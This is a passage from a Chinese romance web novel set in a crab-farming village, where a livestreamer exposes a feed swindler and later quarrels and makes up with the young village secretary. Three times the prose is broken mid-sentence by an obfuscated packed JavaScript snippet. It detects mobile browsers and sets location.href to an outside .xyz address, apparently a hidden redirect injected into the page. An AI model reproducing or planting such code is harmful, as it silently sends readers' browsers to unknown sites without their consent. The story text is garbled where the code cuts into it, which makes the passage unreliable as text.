原朗听完,连连摇头:“警察说得没错啊,贪小便宜吃大亏,这老头连个收据都不要,活该被骗。” 余楸猛地攥紧抹布,指节都泛了白。 她本以为他会说点好话,哪怕只是敷衍的安慰。 “就知道狗嘴里吐不出象牙来,”她背过身,声音发闷,“跟你说了也是白说。” 原朗看着女人的背影,眉头微皱。 这兔子脾气怎么越来越大了? * 阴雨天的清晨,镇上行人稀少。 余楸撑着伞,站在饲料店对面的巷口,目光紧锁那辆银色小货车。雨水顺着伞骨滴落,打湿了她的裤脚,但她浑然不觉。 就是那个人——蓝工装,寸头,脖子上挂着塑料工牌,和王大爷描述的一模一样。 她深吸一口气,将手机录音功能打开,塞进外套口袋,然后装作漫不经心地走过去。 “大哥,”她声音软软的,带着点怯生生的味道,“这饲料......怎么卖的呀?” 男人回头,眼睛一亮—— 眼前的姑娘穿着简单的白T恤牛仔裤,头发松松地扎成马尾,几缕碎发被雨水打湿,贴在脸颊边。她皮肤很白,眼睛又大又亮,像只误入集市的小兔子,一看就很好骗。 “妹子买饲料?”男人立刻堆起笑脸,“这可是高端货,市面上卖280一袋,咱厂里直供只要200!” “这么便宜?”余楸眨了眨眼,一脸天真,“不会是假的吧?” “哎哟!”男人拍着胸脯,工牌晃了晃,“你看清楚,技术员小刘!这饲料是厂里内部处理的,效果一样,就是包装有点瑕疵......” 余楸咬着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812556|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴唇,露出犹豫的表情:“可我爸妈说,便宜没好货......” “妹子!”男人凑近一步,压低声音,“实话跟你说,这饲料跟正品一模一样,就是走不了正规渠道。”他眨眨眼,“你要是多买,哥还能再便宜点!” “真的?那......卖这个赚钱吗?” 男人上下打量她,突然笑了:“怎么,妹子想挣钱?” “嗯!”余楸重重点头,声音更软了,“我家里条件不好,想给爸妈减轻点负担......” “大哥,你能教教我吗?” 鱼儿上钩了。 男人顿时来了精神,胸脯拍得砰砰响:“妹儿啊,哥跟你有缘!这生意特简单——” 他压低声音,得意洋洋地传授起“经验”:饲料怎么掺假,怎么包装,专挑不识字的老人下手...... “那些老头老太太,大字不识一个,好骗得很!”他一笑,露出泛黄的牙齿,“妹儿要是愿意跟着哥干,保你吃香的喝辣的!” 证据到手。 余楸收起笑容,后退一步,眼神冷得像冰:“算了吧你个骗子,还是到局子里吃香的喝辣的吧。” “你前几天骗了晨阳村一个大爷两千块,还记得吗?” “你知道一个老人要攒多久才能攒到两千块吗?你还有没有点良心!” 男人脸色骤变:“好啊,臭婊子,敢诓老子!手机拿来!” 余楸转身就往派出所方向跑,一边跑一边大喊:“救命!抢劫啊——” 雨水模糊了视线,她脚下一滑,重重摔在派出所门口的台阶上。膝盖磕在石子上,钻心的疼。 “跑?还跑不跑?”男人狞笑着逼近,“看老子怎么教训你!” 他扬起手,余楸下意识捂住眼睛。 预想中的疼痛没有到来,取而代之的是一声惨叫。 “啊!!疼疼疼——放开老子!” 余楸睁开眼,看见原朗不知何时出现,一手拧着男人的胳膊,力道大得几乎要将其折断。 他表情阴沉得可怕:“你刚才,是想打她?” “你他妈谁啊!管老子闲事!”男人挣扎着骂道,“妈的臭婊子......” “咔!” 原朗猛地加重力道,男人顿时惨叫出声:“啊!!断了断了!大哥我错了!” 值班警察闻声赶来:“先生,先松手!有话好好说!” 原朗盯着嘴里不干不净的骗子,眼神冷厉。 “好可惜,本来该废了你的。” 说完,他猛地一甩,男人重重摔在水洼里,疼得直打滚。 余楸呆呆地看着这一切。 雨水顺着原朗的发梢滴落,他绷紧的下颌线在昏暗的天光下显得格外锋利。白衬衫被雨水打湿,贴在身上,勾勒出精壮的肌肉线条。 她居然觉得,原朗刚才那副凶狠的模样,还挺帅的...... 直到原朗走到她面前蹲下,余楸才回过神。 她知道自己现在的样子肯定很狼狈,但苦于腿疼得实在站不起来,只好小声说:“能、能不能扶我......” 话未说完,一双有力的手臂已经穿过她的后背和膝弯,温热的触感透过薄薄的衬衫直到皮肤和血液。 “啊!” 余楸惊呼一声,整个人被腾空抱起。 “原朗!你、你干嘛!”她慌乱地抓住他的衣领。 男人低头,雨水顺着他的睫毛滑落,黑眸深邃。 “乱动就把你扔下去。” 他的胸膛紧贴着她,隔着湿透的衣料,能感受到有力的心跳。余楸不由自主地把脸埋进去,闻到一股清冽的松木香,混着雨水的潮湿。 原朗感受到怀里的人悄悄往他胸口蹭了蹭,嘴角扬起一抹几不可察的弧度。 怦、怦、怦—— 分不清是谁的心跳声。 8. 求你啦~ 原朗抱着余楸走进警察局,动作轻缓地将她放在长椅上。她的脸已经红透了,耳根烧得发烫,连带着脖颈都泛起一层淡淡的粉色。 “怎么,害羞了?” “你才害羞呢!”余楸嘴硬,“我是热的!” 警察很快控制住了骗子,原朗三言两语讲清了事情经过。 值班的小警察虽然对他们见义勇为的行为表示赞许,但还是严肃警告:“下次不能擅自行动,既不能让自己受伤,也不能伤害别人。”说完,小心翼翼地瞥了原朗一眼。 这男人刚才那拧人胳膊的狠劲儿,一看就是练过的。 余楸连连点头:“是是是,我们一定注意!” 警察刚转身,原朗就又一把将她抱了起来。余楸惊呼一声,下意识搂住他的脖子,整个人贴在他怀里。 她的心跳快得不像话,却又不知道该说什么,只好紧紧抓着他的衣领,生怕自己掉下去。 太近了。 她能闻到他身上淡淡的松木香,混着雨水的清冽。他的胸膛坚实温热,心跳声透过湿透的衬衫传来,沉稳有力。 余楸悄悄抬眼,看见他线条分明的下颌,还有喉结上那一颗小小的痣。 要命,怎么连喉结都这么好看? 女娲捏他的时候一定中了五百万吧! 她不敢多看,低下头,假装研究他衬衫上的纽扣。 走出警局,余楸一眼就看见了那辆停在路边的红色法拉利,车身溅满了泥水,轮毂上还沾着几片草叶,脏得不像话。 原朗平时可是把这车当宝贝供着的,经常自己拎着水桶在院子里擦洗,连轮胎缝都要拿小刷子清理干净。 今天居然就这么风风火火地开过来了? 余楸心里软软的,像被什么东西轻轻挠了一下。 “原朗……”她小声开口。 “别说话。” 他打断她,又补了一句,“你重死了。” “是你力气太小!” 原朗轻哼一声,拉开车门,把她塞进副驾驶,然后自己绕到另一侧上车。 车内安静得只剩下雨滴敲打车窗的声音。 余楸忍了又忍,还是问了出来:“你,你怎么来了?” “我不来你就瘸了。”原朗启动车子,语气不善,“就你那点小心思,傻子都看得出来。” 他侧头瞥她一眼:“我不过是实话实说,你就跟我摆脸子,脾气渐长啊余楸。” 余楸讪讪地摸了摸鼻子:“跟你学的。” “我可没你这样的学生。”原朗冷笑,“脑子跟钢筋浇筑的一样,连个弯都懒得拐。” “说你笨吧,你会用美人计;说你聪明吧,你非得告诉人家你录音了。真不知道你怎么想的。” 他一边开车一边数落,余楸觉得自己像被长辈管教的不听话的小朋友,撇撇嘴,没吭声。 原朗叨叨了半天,见她没反应,索性把车停在路边,转头看她。 女孩的头发湿漉漉地贴在脸颊边,睫毛上还挂着水珠。白衬衫被雨水浸透,隐约透出里面白色的内衣轮廓,衬得肌肤如雪。 他的目光一滞,迅速别过脸。 “你哑巴了?” 余楸却捕捉到了他那一瞬间的慌乱,俏皮一笑:“你小子品味还不错,知道我是美人。” “拉倒吧你,”原朗嗤笑,“三十六计要是有丑人计,那你就是丑人了。” ——但其实他想说的是,没生气就行。 车子重新启动,雨刷有节奏地摆动着。 过了好一会儿,余楸才像蚊子哼哼似的挤出一句。 “谢谢。” “吱——” 原朗猛地踩下刹车,转头看她。 “你刚说什么?我没听清楚。” 余楸知道他故意的,但今天确实多亏了他,只好忍着羞耻,凑近他耳边大声吼道:“我说!” “谢、谢、你!” 男人嘴角翘起,眼底漾开一抹得意:“总算说了句人话。” 余楸忍不住也笑了。 雨还在下,车内的气氛却莫名轻松起来。她望着窗外模糊的景色,心里像是被什么东西轻轻填满,又暖又涨。 嘴硬的人偶尔心软一次,感觉也还不错。 * 原朗把车开进了自家小院。 男人打开车门,余楸下意识伸手去搂他的脖子,却听见头顶传来一声轻笑。 “这么想我抱你?” 余楸这才反应过来被耍了,一把收回手:“才没有!我就是把你当人形轮椅而已。” 原朗还是弯腰把她抱了起来,大步走进屋子,轻手轻脚地放在沙发上。 “吃了吗?”厨房传来他的声音。 “没呢。” “老实等着。” 余楸听话地坐在沙发上,偷偷探头往厨房瞄。 原朗挽起衬衫袖口,露出线条分明的小臂。他切菜的动作干净利落,修长的手指握着菜刀,骨节微微凸起,在灯光下格外好看。锅里水汽蒸腾,模糊了他的侧脸,却衬得整个人莫名温柔。 余楸缩回脑袋,心跳莫名加快。 不多时,两碗清汤面端上桌。细白的面条浸在琥珀色的汤里,上面漂着翠绿的葱花,香气直往鼻子里钻。 “你居然会做饭?!”余楸满眼放光。 “本少爷——” 原朗突然卡壳,他现在对“少爷”这个词已经有点应激了,改口道,“小爷我会的可多了,真当我是和你一样的草包?” 余楸顾不上回嘴,迫不及待地尝了一口。 鲜! 汤底清澈却滋味十足,面条劲道爽滑。她埋头猛吃,最后连汤都喝了个干净,满足地叹了口气。 原朗默默收碗洗碗,然后转身上楼拿了药箱下来。 余楸看着他来来回回忙碌的身影,一种奇妙的感觉涌上心头—— 自己好像,在被这个大少爷伺候? 白兔小姐和她的恶魔男仆! 这感觉太爽了,她忍不住笑出声。 “嘶——!” 膝盖传来刺痛,原朗用镊子夹着碘酒棉球按了上来。 “你不能轻点啊!” “抱歉,手重。”他嘴上这么说,手上力道却默默减了几分。 余楸看他心情还好的样子,开口问:“原书记,跟你商量个事呗?” “咱们整个反诈宣传活动怎么样?” 原朗停下动作看她:“你也这么想?” “嗯哼,英雄所见略同。” 余楸继续道:“我想过了,村里人口多,每家出一个代表就行。每周两次,把我们村和周围村被骗的案例都收集一下,然后给大家普及。” “我不想再看到有人上当受骗了。” “你倒是挺爱多管闲事。”原朗合上药箱。 余楸正要反驳,却听他接着说:“巧了。” “本官也一样。” “明天开会我会提这事,预计下周就可以开始。你现在要做的,就是好好直播,然后准备反诈班的教学。”扫顿了顿,“记得叫上林小樱。” 余楸乖乖地“哦”了一声,小心地拽住男人的衣角。 “原书记。”她语气很软。 “我能在你家待到晚上吗?” “求你了~” * 余楸盯上原朗家有几天了。 前几天她才听林书记说,这房子原来是村里首富的,前年人家搬到市里,听说有个京大的高材生要下乡,二话不说就把房子贡献出来了。 余楸不禁感叹,在乡下,读书人的身份还是太好用了。也让她更加坚定了反诈扫盲的决心。 原朗家的房子视野特别好,她第一次来打扫卫生的时候就发现了。 后院极开阔,可以看到整个湖和塘,还能望见远处村民的住家。 今晚,她打算来一次特别的直播。 晚上九点钟,余楸坐在后院的小马扎上,点开了直播。她的衣服还是脏兮兮的,膝盖上贴着原朗给她换的纱布。 屏幕亮起,弹幕立刻涌了进来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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男人一脸玩味,眼神好像在说:“我倒看看你会怎么说。” 哼!想让我夸你是吧,我才不如你愿呢! 余楸眼珠一转,计上心来。 “我定睛一看,我们村的新书记挡在我面前,然后刷刷刷……” “被骗子撂倒了。” 男人打字的动作停下,眯起眼睛盯着左边那个手舞足蹈的姑娘。 “我一看这不行啊,我不能让我们的新书记受难,于是我忍着疼倏地站起来,哐哐哐就是三拳打到骗子脸上,把他打得鼻青脸肿,连连求饶,然后他就被警察拖进局子里了。” “我们书记啊,对我是千恩万谢,直夸我是女中豪杰!” 余楸一边讲一边偷瞄原朗的表情,看着男人的脸一点一点阴沉下去,心里偷乐。 夜渐深了,湖面上的雾气开始升腾。余楸又絮絮叨叨讲了很多,比如打算开反诈宣传班,打算直播教渔歌等等。 原朗突然起身回屋,余楸看着他的背影,能感受到明显的低气压。 真生气了啊...…她在心里嘀咕。 下播前,余楸跟大家道别,忽然瞅见一个弹幕: 【新书记真没用】 她犹豫了一下,还是小小声补了一句:“大家误会了,我的新书记,他,很厉害。” “他懂得很多知识,有责任心,虽然不是那么吃苦耐劳,讲话也不中听,但是……” 余楸顿了顿,目光飘向屋内。 “他是个好官,也是个……好人。” “所以大家不要说他啦。” 她双手拢成喇叭,像说悄悄话似的凑到手机跟前:“他年纪还小,脸皮又薄,要是看到的话会哭鼻子的。” “那今天就这样啦,拜拜。” 她关掉直播,长舒一口气。夜风微凉,吹散了这一天的疲惫。 半敞的后门内,一道修长的身影靠在门框上。倾洒的月光映出男人微勾的嘴角。 “还算有点良心。” 9. 解扣子干什么 余楸艰难地站起来,膝盖的伤口隐隐作痛。她一抬头,就看到原朗倚在后门口,月光如水般倾泻在他身上。 他穿着简单的白T恤,发梢还带着微微的湿气,像是刚洗过澡。月光勾勒出他清冷的轮廓,睫毛在眼下投下一小片阴影,整个人透着一股干净的少年感。 他没说话,只是静静看着她,眼神里带着几分无奈,几分她读不懂的情绪。 “余叔打电话了,说今天赶不回来。” 余楸下意识在身上摸索钥匙,表情突然僵住。她慢慢抬头,用一种尴尬又可怜的眼神看着原朗。 原朗轻嗤一声:“找钥匙的时候记得看看,脑子是不是丢一个地儿了。”然后转身进屋。 余楸嘟嘟嘴,她一大早就忙着抓骗子的事,哪记得带钥匙?看了眼时间,这个点林小樱肯定已经睡了,去打扰也不合适。 她一瘸一拐地往屋里挪,正发愁今晚怎么过,就见原朗抱着一床被子一个枕头从楼上下来,直接丢在沙发上。 余楸震惊:原朗居然要,收留自己?! 她脸突然烧了起来:“不行不行!” “原朗,我我我,我不能睡你床上——” 男人停下手里的动作,走近两步,居高临下地看着她。 “余楸,你是不是太把自己当回事儿了?” 他把枕头塞进她怀里:“睡沙发。” “要是吵到我睡觉,就把你扔到塘里喂螃蟹。” 说完转身上楼,背影冷漠又干脆。 余楸抱着枕头,小声嘀咕:“不是就不是嘛,那么凶。” 她给爸妈发了条消息报备,然后乖乖躺下。 被子上有淡淡的松木香,和原朗身上的气息一模一样。她悄悄把脸埋进去,深深地吸了一口气。 这一晚,她睡得格外安稳。 * 晨光透过纱帘洒在余楸脸上,她迷迷糊糊睁开眼,发现自己还蜷在原朗家的沙发上。被子被她裹得乱七八糟,怀里紧紧搂着那个枕头,脸颊甚至能闻到上面残留的松木香。 她猛地坐起身,环顾四周——屋内静悄悄的,茶几上散落着几张蟹塘改造的设计图纸,旁边放着一杯已经凉透的茶。 她试着站起来,膝盖的伤口立刻传来刺痛,让她倒吸一口冷气。 正当她像乌龟一样挪动时,大门突然被推开。 原朗拎着一袋点心走进来,见她醒了,面无表情地把纸袋放在桌上:“去洗漱。” 余楸眨眨眼。 这人怎么一大早就冷着张脸?谁惹他了? 她拖着伤腿往卫生间挪,身后传来原朗冷淡的补充:“柜子里有新的牙刷,用错了唯你是问。” 早餐是热腾腾的蟹黄包和豆浆。余楸小口咬着包子,偷瞄坐在对面翻文件的原朗。他今天穿了件深蓝色T恤,更衬得皮肤冷白。阳光洒落,连睫毛都在发光。 ——如果忽略那张冷若冰霜的脸的话。 “反诈宣传下周开始,”原朗头也不抬,“周一你负责,周四林小樱负责。” 他接着详细布置了一堆工作,语气公事公办,甚至带着几分压迫感。 耍官威居然也有时差吗?前几天不是还挺正常的? * 一连几天,原朗对她的态度都冷淡得反常。安排工作时故意多分给她任务,开会时对她的提案格外苛刻,甚至连她上反诈宣传课时,都要站在窗外“监工”,活像她高中的班主任。 余楸百思不得其解。 是因为她睡在他家了吗?可那不是他主动收留的吗?真奇怪。 林书记打着圆场:“也许是人家原书记关心你呢。” 哼,关心她?除非母猪会上树。 这天下午,余楸照例在蟹塘边直播。她换上了那套靛蓝色的渔家女装束,腰间系着银铃腰带,赤脚站在小船上。夕阳将湖面染成金色,微风拂过,荡起层层涟漪。 “今天给大家唱首《采菱歌》吧~”她轻拨琴弦,清亮的歌声随着小船轻轻摇晃:“六月菱角鲜哟~八月蟹黄肥~” 她现在的直播人气已经稳定在三千左右,最高时有五千人观看。 正当她唱到高潮部分时,弹幕突然炸开了锅: 【宝宝快去看热搜!你上热搜了!】 【真的真的!热搜第三!】 【天呐我们秋秋出息了!】 余楸一脸茫然:“热搜?我?大家在开玩笑吧?” 但弹幕清一色都在刷屏。她半信半疑地拿出备用手机,点开微博热搜榜——“渔歌姑娘”赫然排在第三位。 眉毛直接飞出三里远。 点开话题,置顶的是一条来自@知路的微博:一张水彩画。 画中一渔家女打扮的姑娘背对画面,赤脚站在船头,发丝被晚风吹起,双手张开仿佛要拥抱整片晚霞。湖面波光粼粼,远处青山如黛,整幅画透着梦幻般的光晕。 配文只有简单的一句话:【歌美,景美,人美。】 余楸瞪大眼睛。这分明是她第一天正式直播时的场景!那个站在船头唱歌的背影,那套靛蓝色的衣裙,甚至连船头挂着的渔网细节都一模一样。 “这个知路是谁?“她喃喃自语,“他认识我吗?为什么要画我?” 弹幕立刻热情解答: 【知路是网红插画师啊!京大艺术系高材生!】 【他超厉害的!几年前就红遍各大平台了!】 【画师这是在帮你宣传呢!宝宝你要火了!】 无数的弹幕之间,“京大”两个字格外的显眼。 原朗,会跟他有关系吗? * 清晨五点半,晨阳村还笼罩在一片薄雾中。 余楸背着包,顶着两个硕大的黑眼圈站在原朗家院门前,活像个怨气冲天的女鬼。她已经在这里蹲了三天,终于在今天清晨六点成功堵到了人。 原朗一推开院门,就被门口直挺挺站着的人影吓了一跳。他下意识后退半步,待看清是余楸后,那张俊脸立刻恢复了往日的冷淡。 “干什么?一大早站在门口辟邪吗?” 余楸眼下挂着浓重的青黑,眼神幽怨得能滴出水来:“我有话跟你说。” “我要去蟹塘巡视,”原朗抬腕看表,“没时间跟你瞎扯。” “就十分钟!”余楸一把拽住他的衣袖,“不耽误你事。” 原朗甩开她的手:“就在这说。超时了罚你打扫村委会办公室。” 晨风微凉,余楸深吸一口气,决定开门见山。 “原朗,我最近惹你生气了吗?” 男人先是一怔,随后冷哼一声:“我每天那么忙,哪有功夫管你说了什么。” “那你最近为什么老是针对我?” “有吗?” “你有你当然有!”余楸掰着手指数,“你让我顶小樱的班,一个人连上三周反诈宣传,还让我这个月内再涨粉两万,还老是对我凶巴巴的——” 原朗歪头,一脸无所谓:“哦,那就针对了吧。” “原朗!”余楸急得跺脚,“我们别兜圈子了行吗?我要是说错了什么话,或者做错了什么事,你就直说。” 她的声音低了下来,“我没有在社会上当过牛马,也不懂那些人情世故,我只知道知错就改,善莫大焉...…” 男人的眼神闪烁了一下,随即又恢复冷漠:“早该知道你这么能叭叭,睡觉也不消停。”说完就要走。 余楸急了,直接拽住他的胳膊往后拖:“不许走!” “松开。” “不松!你说了我再松!” 两人就这样在晨雾中展开一场无形的拔河。余楸毕竟腿伤未愈,渐渐脱了力。原朗突然一个松手,她直接一屁股坐在地上,摔了个结结实实。 “哎哟!” 屁股着地的瞬间,余楸疼得眼泪都要飙出来了。她憋屈地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812558|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着腿坐在地上,像个被欺负的小动物。 原朗也意识到自己过分了,犹豫片刻,还是走过去蹲下身:“没摔伤吧?” 余楸扭过头不理他。 “我看看。”他伸手要掀她的裤脚。 “啪!”余楸一巴掌拍开他的手。 就在这时,她突然感觉后背一片湿濡,顿时惊呼:“糟糕!咖啡!” 她手忙脚乱地摘下背包,只见里面的保温杯已经倒了,深褐色的液体浸透了包内衬,连带着她精心准备的备课笔记也湿了大半。 余楸的眼眶瞬间红了,有什么温热的东西在眼眶里打转。 原朗愣住了。他看着洒出来的咖啡——是他常喝的牌子,也是他最爱的那款蓝山风味。 “这咖啡...…”他的声音有些哑,“买给我的?” 余楸咬着唇擦掉眼泪,倔强道:“才不是呢!我买给傻子的!” 她挣扎着爬起来,一瘸一拐地往村那头走去,背影狼狈又倔强。 留下原朗一个人站在原地,望着地上那滩咖啡渍发呆。 原家这位教养极好的小少爷,还是没忍住,低低地骂了一句脏。 * 最近,晨阳村的村民们都发现了一件怪事——原书记似乎把余家丫头给惹毛了。 村委会例会上,余楸不是请假不来,就是来了也全程冷着脸。路上碰到原朗,她直接当空气忽略,连个眼神都欠奉。 而更让人大跌眼镜的是,一向毒舌的原朗居然丝毫不恼,反而在开会时频频询问她的意见:“余塘主觉得这个方案怎么样?”“余楸有什么建议?” 余楸要么敷衍地“嗯”一声,要么干脆不回答,连个笑脸都不给。但原朗一点不生气,只是盯着她看,眼神复杂得让人捉摸不透。 “奇了怪了,”林小樱咬着笔帽小声嘀咕,“这两人角色怎么反过来了?” 更诡异的是,每次余楸直播,原朗都“恰好”路过——这是村民们委婉的说法。 事实上,他简直像是装了雷达,准时掐着她开播的点出现,搬个小竹椅往塘边一坐,膝盖上放着笔记本,修长的手指在键盘上飞舞,眼神却时不时瞥向不远处小船上的人。 余楸快被烦死了。 她本来看见原朗就心烦,偏偏那男人还长得那么扎眼。还老爱穿着各式各样的衬衫监工,总是解开第三颗扣子,领口微微敞开,隐约能看到锁骨和一小片胸膛。 阳光透过树叶的缝隙落在他身上,斑驳的光影将他轮廓勾勒得愈发深邃。他工作时微微蹙眉的样子,活像什么在蟹塘边办公的霸道总裁。 老天不公啊!余楸在心里哀嚎。 长得好看就能为所欲为吗? 直播间里的观众显然也注意到了这个“背景板”: 【后面那个大长腿帅哥是谁啊?】 【好像是村里的书记?】 【哇靠这颜值绝了!求镜头拉近!】 余楸假装没看见弹幕,继续唱她的渔歌,但心思早就飞了。 她能感觉到原朗的目光时不时落在她身上,像是有实质的温度,烧得她后颈发烫。 终于,在第七天直播结束后,余楸忍无可忍地走到原朗面前。 “原朗,”她红着脸,声音压得极低,“你知不知道什么叫干扰直播?” 原朗合上笔记本,抬头看她。目光逐渐下移,看见余楸的裙角被风吹得皱巴巴的,于是伸手,慢条斯理地帮她抚平褶皱。 “我在考察项目啊。” 他的手指修长温热,隔着薄薄的布料轻轻擦过她的小腿。余楸浑身一僵,像被施了定身术。 “那你考察就考察,”她的声音有点抖,“解扣子干什么?” 男人唇角微勾:“热。” 这个回答简直无懈可击。 余楸气得转身就要走,却听见身后传来一声清晰而缓慢的叹息。 “对不起。” 10. 勾引 时间仿佛静止了几秒。 “你刚才是说...…” “对不起?” 原朗眼神飘忽,一手摸着后颈,不敢直视她的眼睛,只轻轻“嗯”了一声。 “那你说说,做错什么了?” “不该给你安排那么多工作,不该对你乱发脾气,不该推你。” 余楸哼了一声,转身就要走,却被原朗一把扯住手腕。 “干嘛?” “我都跟你道歉了诶,”男人语气娇嗔,“怎么不理我?” 余楸淡定地抽出自己的手:“我那天也说要跟你道歉,你不还是冷着张脸?” 原朗自知理亏,索性开始耍横:“我不管!我道歉了,你要原谅我!” 余楸定定地看着他:“那我问你几句话,你老老实实回答。” “你说。” “那幅画,是你画的吗?” “不是。” “你这几天一直看着我直播,是想道歉吗?” “嗯。” “到底为什么突然生气?” 这个问题让原朗结巴起来。他支吾半天,最后委屈巴巴地说。 “你骂我。” 余楸瞪大眼睛:“我刚才那句话有带半个脏字吗?” “不是现在,”原朗的眼神愈发幽怨,“是你住我家的那天晚上。” “你说梦话...…骂了我。” “还有我家祖宗十八代。” “整整十分钟。” 余楸猛地捂住嘴。她知道自己会说梦话,但没想到居然在梦里把原朗骂得这么狠!还偏偏被他听见了! 两人陷入尴尬的沉默。 最后还是余楸先开口:“你平常怼我怼得还少吗?我不过说两句梦话你就这么较真,真是只许州官放火,不许百姓点灯。” “你那叫''两句''?你骂我''一辈子单身找不到老婆'',说我''穿西装像卖保险的'',还说我''连螃蟹都不敢抓算什么男人'',你还说……” 余楸越听越离谱,赶紧喊停:“打住打住!那行吧,算我俩扯平了。我不要你道歉,你也别在我直播的时候打扰我了。” “就这样,再见。” 她转身就走,靛蓝色的裙角在晚风中飞扬,纤细的背影渐渐融入暮色中。 原朗站在原地生闷气,一脚踢开路边的石子。 “原书记,”一个声音突然从身后传来,把他吓了一跳。 林书记不知何时站在了他身后,笑盈盈地问:“把余丫头惹生气啦?” “是她脾气太大了。” “诶,秋秋这丫头啊,乖得很,只是偶尔耍点小性子。”林书记拍拍他的肩,“原书记,女孩子家家的,要哄。” 哄? 原朗一愣,脑子里瞬间闪过无数个问号——怎么哄? 从小到大,只有别人哄他的份,哪有他哄别人的道理? 林书记见他一脸茫然,笑得更加意味深长,背着手慢悠悠地走了,只留下一句:“年轻人啊,慢慢琢磨吧。” * 余楸站在蟹塘边,调整着直播设备,余光却瞥见一道修长的身影懒洋洋地靠在柳树下。 她的手指一颤,差点没拿稳手机。 原朗今天穿了一件黑色无袖背心,紧身的布料勾勒出肩臂流畅的肌肉线条,宽肩窄腰,下身是黑色运动长裤,衬得腿又长又直。 他背着一把木吉他,整个人随意地倚着树干,嘴角挂着若有若无的笑,目光直直地落在她身上。 见余楸看过来,他得意地扬了扬下巴,像是早就等着她发现。 不好,是美男计! 余楸猛地别过脸,耳根发烫,强装镇定地问:“你来干什么?” 原朗慢悠悠地走近,声音里带着点懒散的调调:“我来直播啊。” “你疯了吧!你什么时候直播过?” “作为村支书,当然要以身作则。”原朗一本正经地说着,手指轻轻拨了下吉他弦,“有义务给村里宣传。” 余楸:“……” 不对劲,很不对劲。 但还没等她再开口,原朗已经自顾自地调整好了镜头,冲她挑眉:“开播?” 余楸深吸一口气,心想算了,反正他爱出镜就出镜吧,大不了当他不存在。 她按下直播键。 ——然后弹幕就炸了。 【卧槽!这个帅哥是谁?!】 【这不是上次镜头远处那个吗!近看更帅了!】 【啊啊啊肌肉!吉他!我死了!】 余楸还没来得及介绍,原朗已经笑眯眯地凑到镜头前,声音低沉悦耳:“大家好,我是晨阳村的村支书原朗,今天和余塘主一起直播,带大家看看我们村的蟹塘风光。” 【声音也这么好听!】 【村支书?!这么帅的村支书?!】 【求多讲话!求才艺展示!】 余楸清了清嗓子,努力把注意力拉回正题:“今天带大家看看我们蟹塘的日常管理……” 原朗在旁边适时地补充几句,语气轻松幽默,时不时还故意凑近镜头,引得弹幕一阵尖叫。 余楸忍无可忍,在镜头拍不到的地方狠狠踩了他一脚。 原朗吃痛,却笑得更加灿烂,甚至得寸进尺地提议:“要不要划船?我划,你讲。” 她本想拒绝,但弹幕已经疯狂刷起了【划船!划船!】,只好点头。 两人上了小船,原朗坐在船尾,修长的手臂握住船桨,肌肉随着划水的动作微微绷紧,在夕阳下泛着蜜糖般的光泽。 余楸坐在船头,一边介绍蟹塘的生态,一边忍不住偷瞄他。 这人怎么连划船都像拍画报似的?! 微风拂过湖面,波光粼粼。余楸的声音轻柔,讲述着螃蟹的习性和养殖技巧,而原朗则安静地划着船,目光时不时落在她身上,唇角带着若有若无的笑。 弹幕已经嗑疯了: 【这氛围……我嗑到了!】 【村支书看塘主的眼神好温柔!】 【两人配一脸!】 余楸假装没看见,继续讲解,但耳尖却悄悄红了。 天色渐晚,夕阳染红了整片湖面。余楸清了清嗓子,对着镜头笑道:“今天最后,还是照样给大家唱一首渔歌。” 就在她唱到第二段时,一道低沉的吉他声缓缓加入。 余楸微微睁眼,看向原朗—— 他低着头,修长的手指在琴弦上轻轻拨动,眉眼专注而温柔。吉他的旋律并不复杂,却完美地契合了她的歌声,像是早已练习过千百遍。 渔歌的悠远,吉他的温柔,在暮色中交织,竟有种别样的美感。 余楸的心跳漏了一拍,但歌声未断,反而更加清亮。两人一个弹,一个唱,湖面倒映着他们的身影,仿佛整个世界只剩下这一方小船。 直播间已经彻底疯狂: 【天呐!这是什么神仙合作!】 【渔歌+吉他!绝了!】 【两人对视了!我嗑的CP是真的!】 一曲终了,吉他声缓缓停下,余楸的尾音也消散在晚风中。 湖面归于寂静,只有微风轻拂。 两道目光触碰,男人的眼里尽是恣意和傲娇,仿佛在说“快夸我。” 余楸偏不如他愿,撇了撇嘴:“弹得真烂。” 原朗低笑一声,手指轻轻拨了下琴弦:“你唱得倒是不错。” “废话,我专业的好吗?” “那我也是专业的。” “你专业什么?气人吗?” “专业——哄你开心?” 余楸一噎,耳根瞬间烧了起来:“谁要你哄!” 随即手忙脚乱地关掉直播,心跳快得不像话。 原朗懒洋洋地靠在船边,吉他已经背回肩上,看着她慌乱的样子,笑得更加得意。 “怎么样,我直播效果不错吧?” “你是故意的!” “故意什么?” “故意……”她卡壳了,总不能说“故意勾引观众”吧? 原朗却像是看透她的心思,微微倾身,声音压低:“余楸,你是不是……” “嫉妒了?” “嫉你个大头鬼!”余楸抄起船桨就要打他。 男人大笑着躲开,小船摇晃,水花溅起,两人的笑声荡在湖面上,融进暮色里。 * 原朗靠在卧室的懒人沙发里,长腿随意地搭在茶几上,划着手机屏幕。 微博热搜上,#渔 